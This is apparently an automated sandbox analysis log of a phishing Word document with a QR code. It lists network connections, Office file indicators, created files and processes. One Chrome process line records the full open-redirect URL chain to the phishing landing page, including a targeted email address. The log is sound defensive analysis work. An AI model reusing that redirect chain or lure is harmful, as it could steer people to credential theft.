Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.10:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.10:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.10:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.10:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:50082 version: TLS 1.2

Source: CatalogCacheMetaData.xml.0.dr	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true

Source: CatalogCacheMetaData.xml.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{395B75A4-BE96-4DEE-A2A5-1A45EE2A588F}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal76.phis.winDOCX@22/276@26/18

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{4907985C-C5CF-4CB5-9F9A-88902AC491DA} - OProcSessId.dat

Jump to behavior

Source: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true

Source: ~WRF{395B75A4-BE96-4DEE-A2A5-1A45EE2A588F}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{395B75A4-BE96-4DEE-A2A5-1A45EE2A588F}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{395B75A4-BE96-4DEE-A2A5-1A45EE2A588F}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83#MICHELLES@AGEECONSTRUCTION.COM
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1988,i,12392792373501057144,10114819878945905559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1988,i,12392792373501057144,10114819878945905559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx
Source: Templates.LNK.0.dr	LNK file: ..\..\Templates
Source: Google Drive.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Initial sample: OLE zip file path = word/_rels/footnotes.xml.rels
Source: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Initial sample: OLE zip file path = word/comments.xml
Source: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx

Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: Office document

LLM: Office document contains QR code

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
